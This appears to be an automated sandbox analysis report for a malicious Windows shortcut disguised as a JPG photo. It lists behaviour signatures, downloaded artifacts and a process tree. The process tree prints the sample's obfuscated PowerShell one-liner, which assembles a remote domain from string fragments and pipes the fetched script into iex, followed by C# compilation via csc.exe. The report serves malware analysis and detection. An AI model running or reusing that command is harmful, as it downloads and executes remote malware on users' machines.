Analysis
- max time kernel
300s - max time network
253s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 03:56
General
- Target IMG_20260727_080418.jpg.lnk
- Size 1KB
- Sample260729-ehhc3sgk41
- SHA256 c682ad7b0e2331d6ee19954c0f5faa5a8ba353f005f5e333c5993d86a61ea182
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 42 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_080418.jpg.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ser','hotoinstayno','w.shop','vp','re')[4,0,3,1,2] -join $gM5) -useb | iex2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vao4iran\vao4iran.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES815B.tmp" "c:\Users\Admin\AppData\Local\Temp\vao4iran\CSCD5E520E8932B47ACADA297E2F12B6EC.TMP"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
LICENSE.md
LICENSE
LICENSE
fetch.js
package.json
package.json
RES815B.tmp
vao4iran.dll
CSCD5E520E8932B47ACADA297E2F12B6EC.TMP
vao4iran.0.cs
vao4iran.cmdline
memory/5616-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-36-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-17-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-18-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-14-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-15-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-2-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp
memory/5616-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-31-0x00000250C5190000-0x00000250C5198000-memory.dmp
memory/5616-33-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-34-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-35-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-41-0x00000250C5650000-0x00000250C566E000-memory.dmp
memory/5616-42-0x00000250C5670000-0x00000250C5722000-memory.dmp
memory/5616-43-0x00000250C5530000-0x00000250C553A000-memory.dmp
memory/5616-44-0x00000250C5650000-0x00000250C5662000-memory.dmp
memory/5616-45-0x00000250C5530000-0x00000250C553A000-memory.dmp
memory/5616-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5616-5-0x00000250C5110000-0x00000250C5132000-memory.dmp